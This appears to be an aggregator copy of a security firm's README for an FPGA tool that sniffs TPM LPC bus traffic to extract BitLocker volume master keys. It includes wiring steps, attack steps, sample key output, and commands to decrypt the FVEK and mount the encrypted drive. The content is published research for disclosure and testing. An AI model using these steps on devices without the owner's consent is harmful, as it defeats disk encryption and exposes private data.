All Projects → SySS-Research → icestick-lpc-tpm-sniffer

SySS-Research / icestick-lpc-tpm-sniffer

Licence: GPL-3.0 license
FPGA-based LPC bus sniffing tool for Lattice iCEstick Evaluation Kit

Programming Languages

Verilog
626 projects
python
139335 projects - #7 most used programming language
Makefile
30231 projects

Projects that are alternatives of or similar to icestick-lpc-tpm-sniffer

Btle Sniffer
Passively scan for Bluetooth Low Energy devices and attempt to fingerprint them
Stars: ✭ 87 (+112.2%)
Mutual labels:  sniffer, security-vulnerability, sniffing
verifla
Fork of OpenVeriFla - FPGA debugging logic analyzer to use with your designs - examples (so far) for ice40/IceStorm
Stars: ✭ 21 (-48.78%)
Mutual labels:  fpga, ice40, icestick
lpc sniffer
a low pin count sniffer for icestick
Stars: ✭ 60 (+46.34%)
Mutual labels:  lpc, ice40, icestick
gateware
A collection of little open source FPGA hobby projects
Stars: ✭ 38 (-7.32%)
Mutual labels:  fpga, ice40
Bruteshark
Network Analysis Tool
Stars: ✭ 1,335 (+3156.1%)
Mutual labels:  sniffer, sniffing
Sharesniffer
Network share sniffer and auto-mounter for crawling remote file systems
Stars: ✭ 168 (+309.76%)
Mutual labels:  sniffer, sniffing
shapool-core
FPGA core for SHA256d mining targeting Lattice iCE40 devices.
Stars: ✭ 19 (-53.66%)
Mutual labels:  fpga, ice40
cariboulite
CaribouLite turns any 40-pin Raspberry-Pi into a Tx/Rx 6GHz SDR
Stars: ✭ 785 (+1814.63%)
Mutual labels:  fpga, ice40
iceskate
A low cost FPGA development board for absolute newbies
Stars: ✭ 15 (-63.41%)
Mutual labels:  fpga, ice40
my hdmi device
New clean hdmi implementation for ulx3s, icestick, icoboard, arty7, colorlight i5 and blackicemx! With tmds encoding hacked down from dvi standard. Supports DDR and SRD tranfser!
Stars: ✭ 66 (+60.98%)
Mutual labels:  ice40, icestick
spu32
Small Processing Unit 32: A compact RV32I CPU written in Verilog
Stars: ✭ 51 (+24.39%)
Mutual labels:  fpga, ice40
icefloorplan
iCE40 floorplan viewer
Stars: ✭ 22 (-46.34%)
Mutual labels:  fpga, ice40
no2muacm
Drop In USB CDC ACM core for iCE40 FPGA
Stars: ✭ 26 (-36.59%)
Mutual labels:  fpga, ice40
RaspberryPi-Packet-Sniffer
An HTTP and HTTPS sniffing tool created using a Raspberry Pi
Stars: ✭ 79 (+92.68%)
Mutual labels:  sniffer, sniffing
Hacking
hacker, ready for more of our story ! 🚀
Stars: ✭ 413 (+907.32%)
Mutual labels:  attack, security-vulnerability
kianRiscV
KianRISC-V! No RISC-V, no fun! RISC-V CPU with strong design rules and unittested! CPU you can trust! kianv rv32im risc-v a hdmi soc with harris computer architecture in verilog: multicycle, singlecycle and 5-stage pipelining Processor. Multicycle Soc with firmware that runs raytracer, mandelbrot, 3d hdmi gfx, dma controller, etc.....
Stars: ✭ 167 (+307.32%)
Mutual labels:  fpga, ice40
risc8
Mostly AVR compatible FPGA soft-core
Stars: ✭ 19 (-53.66%)
Mutual labels:  fpga, ice40
KyogenRV
The Simple 5-staged pipeline RISC-V written in chisel3 for intel FPGA.
Stars: ✭ 37 (-9.76%)
Mutual labels:  fpga
sgx-tutorial-space18
Tutorial: Uncovering and mitigating side-channel leakage in Intel SGX enclaves
Stars: ✭ 44 (+7.32%)
Mutual labels:  attack
TIGER
Python toolbox to evaluate graph vulnerability and robustness (CIKM 2021)
Stars: ✭ 103 (+151.22%)
Mutual labels:  attack

iCEstick LPC TPM Sniffer

The iCEstick LPC TPM Sniffer is a modified version of Alexander Couzens' LPC Sniffer including the TPM-specific modifications by Denis Andzakovic (LPC Sniffer TPM) for sniffing specific LPC messages of trusted platform modules (TPMs).

This implementation was used for reproducing the LPC sniffing attack described in the blog article Extracting BitLocker Keys from a TPM by Denis Andzakovic targeting an ASUS TPM-M R2.0 with an Infineon SLB 9665 TT2.0 TPM. The state machine has been rewritten to improve compatibility and respect of LPC protocol.

In January 2019, this LPC bus sniffing attack against Microsoft BitLocker in TPM-only mode was mentioned by Hector Martin (@marcan42) in this Tweet.

Hardware Requirements

Software Requirements

Installation

The iCEstick LPC TPM Sniffer can be downloaded and built using the SymbiFlow toolchain in the following way:

git clone https://github.com/SySS-Research/icestick-lpc-tpm-sniffer.git
cd icestick-lpc-tpm-sniffer
make
make prog
  
virtualenv sniffing
source sniffing/bin/activate
pip install -r python/requirements.txt

For using the fast serial communication of the iCEstick LPC TPM Sniffer, the Fast Opto-Isolated Serial Interface Mode on channel B of the iCEstick's FT2232H has to be enabled.

Wiring

For sniffing the LPC bus communication of a TPM like the Infineon SLB 9665 TT 2.0, the following 8 signals have to be connected:

  1. GND
  2. LCLK
  3. LRST
  4. LFRAME
  5. LAD0
  6. LAD1
  7. LAD2
  8. LAD3

The corresponding pins of the Infineon SLB 9665 TT 2.0 are highlighted in the following pinout figure.

Pinout of Infineon SLB 9665 TT 2.0

The following figures show the wiring of an ASUS TPM-M R2.0, which uses Infineon SLB 9665 TT 2.0, via a simple adapter with a Lattice iCEstick.

Wiring example for an ASUS TPM-M R2.0

Adapter pinout for ASUS TPM-M R2.0

The pin assignment for the the Lattice iCEstick one are shown in the next figure. Pin assignment for Lattice iCEstick

Usage

The iCEstick LPC TPM Sniffer is used via the Python command tool iCE LPC TPM Sniffer.

python lpc-tpm-sniffer.py

In order to extract the current BitLocker Volume Master Key (VMK) of a BitLocker-encrypted partition, the following steps are required:

  1. Turn off the target system
  2. Connect the iCEstick with the TPM of the target system
  3. Start the Python command tool iCEstick LPC TPM Sniffer on the attacker system
  4. Turn on the target system

The following output exemplarily shows a successful sniffing attack.

$ python lpc-tpm-sniffer.py
 
██╗ ██████╗███████╗    ██╗     ██████╗  ██████╗    ████████╗██████╗ ███╗   ███╗    ███████╗███╗   ██╗██╗███████╗███████╗███████╗██████╗
██║██╔════╝██╔════╝    ██║     ██╔══██╗██╔════╝    ╚══██╔══╝██╔══██╗████╗ ████║    ██╔════╝████╗  ██║██║██╔════╝██╔════╝██╔════╝██╔══██╗
██║██║     █████╗      ██║     ██████╔╝██║            ██║   ██████╔╝██╔████╔██║    ███████╗██╔██╗ ██║██║█████╗  █████╗  █████╗  ██████╔╝
██║██║     ██╔══╝      ██║     ██╔═══╝ ██║            ██║   ██╔═══╝ ██║╚██╔╝██║    ╚════██║██║╚██╗██║██║██╔══╝  ██╔══╝  ██╔══╝  ██╔══██╗
██║╚██████╗███████╗    ███████╗██║     ╚██████╗       ██║   ██║     ██║ ╚═╝ ██║    ███████║██║ ╚████║██║██║     ██║     ███████╗██║  ██║
╚═╝ ╚═════╝╚══════╝    ╚══════╝╚═╝      ╚═════╝       ╚═╝   ╚═╝     ╚═╝     ╚═╝    ╚══════╝╚═╝  ╚═══╝╚═╝╚═╝     ╚═╝     ╚══════╝╚═╝  ╚═╝
iCE LPC TPM Sniffer v0.2 by Matthias Deeg - SySS GmbH
Extract BitLocker Volume Master Keys using an iCEstick or iCEBreaker LPC TPM Sniffer
---
[*] Start sniffing
[*] Received 2556 bytes
[+] Found BitLocker VMK: 784f31369defc6b8d2baa354b6119f0777395962feb29b40efcf3078b48189ba
[+] Created VMK file 'vmk.bin' for use with BitLocker FVEK Decrypt

Encrypted BitLocker Full Volume Encryption Keys (FVEK) can be decrypted using the Python tool BitLocker FVEK Decrypt.

$ python bitlocker_fvek_decrypt.py --help
 
  ___ _ _   _            _             _____   _____ _  __  ___                       _  
 | _ |_) |_| |   ___  __| |_____ _ _  | __\ \ / / __| |/ / |   \ ___ __ _ _ _  _ _ __| |_
 | _ \ |  _| |__/ _ \/ _| / / -_) '_| | _| \ V /| _|| ' <  | |) / -_) _| '_| || | '_ \  _|
 |___/_|\__|____\___/\__|_\_\___|_|   |_|   \_/ |___|_|\_\ |___/\___\__|_|  \_, | .__/\__|
                                                                            |__/|_|      
BitLocker FVEK Decrypt v0.2 by Matthias Deeg - SySS GmbH
Decrypts encrypted BitLocker Full Volume Encryption Keys (FVEK)
---
usage: ./bitlocker_key_decryptor.py [-h] -f FILENAME -k KEY
 
optional arguments:
  -h, --help            show this help message and exit
  -f FILENAME, --filename FILENAME
                        File with dislocker-metadata output of targeted BitLocker-encrypted partition
  -k KEYFILE, --keyfile KEYFILE
                        File with sniffed BitLocker Volume Master Key (VMK)

The encrypted FVEK, the used nonce, and the corresponding message authentication code (MAC) can be extracted from the encrypted BitLocker-partition using the software tool dislocker-metadata.

sudo dislocker-metadata -V /dev/sda2 > dislocker-metadata.txt

The following output exemplarily illustrates the successful decryption of a FVEK with the correctly sniffed VMK:

$ python bitlocker_fvek_decrypt.py -f dislocker-metadata.txt -k vmk.bin
 
  ___ _ _   _            _             _____   _____ _  __  ___                       _  
 | _ |_) |_| |   ___  __| |_____ _ _  | __\ \ / / __| |/ / |   \ ___ __ _ _ _  _ _ __| |_
 | _ \ |  _| |__/ _ \/ _| / / -_) '_| | _| \ V /| _|| ' <  | |) / -_) _| '_| || | '_ \  _|
 |___/_|\__|____\___/\__|_\_\___|_|   |_|   \_/ |___|_|\_\ |___/\___\__|_|  \_, | .__/\__|
                                                                            |__/|_|      
BitLocker FVEK Decrypt v0.2 by Matthias Deeg - SySS GmbH
Decrypts encrypted BitLocker Full Volume Encryption Keys (FVEK)
---
[+] Extracted nonce:
    409b87a369dbd501d9010000
[+] Extracted MAC:
    12c7b1c759e76ad88c3efd451a0fc945
[+] Extracted payload:
    fd82fcf27ded951a2327e2e9d00b9ba0a3245f949bc53163bcc26088531215d17be6f99794d3fcfeb22bb41e
[+] Decrypted Full Volume Encryption Key (FVEK):
    561bd26ca61fa3fb3445994b0f62649ce86e90085c0ff25dda57be61c2667cb6
[+] Created FVEK file 'fvek.bin' for use with dislocker

By knowing the FVEK, the BitLocker-encrypted partition can be mounted, for instance using the software tool bdemount.

mkdir /mnt/bitlocker
 
mkdir /mnt/ntfs
 
bdemount -k 561bd26ca61fa3fb3445994b0f62649ce86e90085c0ff25dda57be61c2667cb6 /dev/sda2 /mnt/bitlocker/
 
mount -r ro /mnt/bitlocker/bde1 /mnt/ntfs
 
ls -la /mnt/ntfs/                                                                                                                                                                                                                                                                                         
total 19740361                                                                                                                                                                                                                                                                                                                
drwxrwxrwx 1 root root           0 14. Jan 08:30 '$Recycle.Bin'                                                                                                                                                                                                                                                               
drwxrwxrwx 1 root root        4096 28. Jan 15:33  .                                                                                                                                                                                                                                                                           
drwxr-xr-x 4 root root        4096  4. Feb 15:54  ..                                                                                                                                                                                                                                                                          
drwxrwxrwx 1 root root        4096 14. Jan 10:07  AMD                                                                                                                                                                                                                                                                         
drwxrwxrwx 1 root root           0 14. Jan 10:07  Config.Msi                                                                                                                                                                                                                                                                  
lrwxrwxrwx 2 root root          15 14. Jan 03:52 'Documents and Settings' -> /mnt/ntfs/Users                                                                                                                                                                                                                                  
drwxrwxrwx 1 root root           0 13. Jan 18:12  NVIDIA                                                                                                                                                                                                                                                                      
drwxrwxrwx 1 root root           0 19. Mär 2019   PerfLogs                                                                                                                                                                                                                                                                    
drwxrwxrwx 1 root root        4096 14. Jan 09:52 'Program Files'                                                                                                                                                                                                                                                              
drwxrwxrwx 1 root root        8192 28. Jan 14:52 'Program Files (x86)'                                                                                                                                                                                                                                                        
drwxrwxrwx 1 root root        4096 30. Jan 11:32  ProgramData                                                                                                                                                                                                                                                                 
drwxrwxrwx 1 root root           0 14. Jan 03:52  Recovery                                                                                                                                                                                                                                                                    
drwxrwxrwx 1 root root       12288 30. Jan 13:26 'System Volume Information'                                                                                                                                                                                                                                                  
drwxrwxrwx 1 root root        4096 13. Jan 12:18  Users                                                                                                                                                                                                                                                                       
drwxrwxrwx 1 root root       16384 30. Jan 13:13  Windows                                                                                                                                                                                                                                                                     
-rwxrwxrwx 1 root root         206 14. Jan 09:48  audio.log                                                                                                                                                                                                                                                                   
-rwxrwxrwx 1 root root 17110282240  4. Feb 15:51  hiberfil.sys                                                                                                                                                                                                                                                                
-rwxrwxrwx 1 root root  3087007744  4. Feb 15:44  pagefile.sys                                                                                                                                                                                                                                                                
-rwxrwxrwx 1 root root    16777216  4. Feb 15:44  swapfile.sys

Alternatively, the created file fvek.bin containing the decrypted FVEK can be used in combination with the software tool dislocker to mount the BitLocker-encrypted partition as follows (*remark: If a BitLocker-partition should be mounted with read and write access, it should be fixed first using ntfsfix to have a clean state):

mkdir /mnt/bitlocker
 
mkdir /mnt/ntfs
 
dislocker -k fvek.bin -V /dev/sda2 /mnt/bitlocker/
 
ntfsfix /mnt/bitlocker/dislocker-file
 
mount -o rw /mnt/bitlocker/dislocker-file /mnt/ntfs/
 
# ls -la /mnt/ntfs/
total 9714805
drwxrwxrwx 1 root root          0 14. Jan 08:30 '$Recycle.Bin'
drwxrwxrwx 1 root root       4096  4. Feb 17:42  .
drwxr-xr-x 4 root root       4096  4. Feb 17:48  ..
drwxrwxrwx 1 root root       4096 14. Jan 10:07  AMD
drwxrwxrwx 1 root root          0 14. Jan 10:07  Config.Msi
lrwxrwxrwx 2 root root         15 14. Jan 03:52 'Documents and Settings' -> /mnt/ntfs/Users
drwxrwxrwx 1 root root          0 13. Jan 18:12  NVIDIA
drwxrwxrwx 1 root root          0 19. Mär 2019   PerfLogs
drwxrwxrwx 1 root root       4096 14. Jan 09:52 'Program Files'
drwxrwxrwx 1 root root       8192 28. Jan 14:52 'Program Files (x86)'
drwxrwxrwx 1 root root       4096 30. Jan 11:32  ProgramData
drwxrwxrwx 1 root root          0 14. Jan 03:52  Recovery
drwxrwxrwx 1 root root      12288 30. Jan 13:26 'System Volume Information'
drwxrwxrwx 1 root root       4096 13. Jan 12:18  Users
drwxrwxrwx 1 root root      16384 30. Jan 13:13  Windows
-rwxrwxrwx 1 root root        206 14. Jan 09:48  audio.log
-rwxrwxrwx 1 root root 6844112896  4. Feb 17:42  hiberfil.sys
-rwxrwxrwx 1 root root 3087007744  4. Feb 17:42  pagefile.sys
-rwxrwxrwx 1 root root   16777216  4. Feb 17:42  swapfile.sys

Demo

This demo video exemplarily shows how a sniffing attack against the Low Pin Count (LPC) bus communication of a trusted platform module (TPM) using the iCEstick LPC TPM Sniffer. In this demo video, a current Windows 10 system (1909) with Microsoft BitLocker in TPM-only mode and an ASUS TPM-M R2.0 using an Infineon SLB 9665 TT 2.0 chip is attacked.

SySS PoC Video: LPC Bus Sniffing Attack against Microsoft BitLocker in TPM-only Mode

References

Disclaimer

Use at your own risk. Do not use without full consent of everyone involved. For educational purposes only.

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].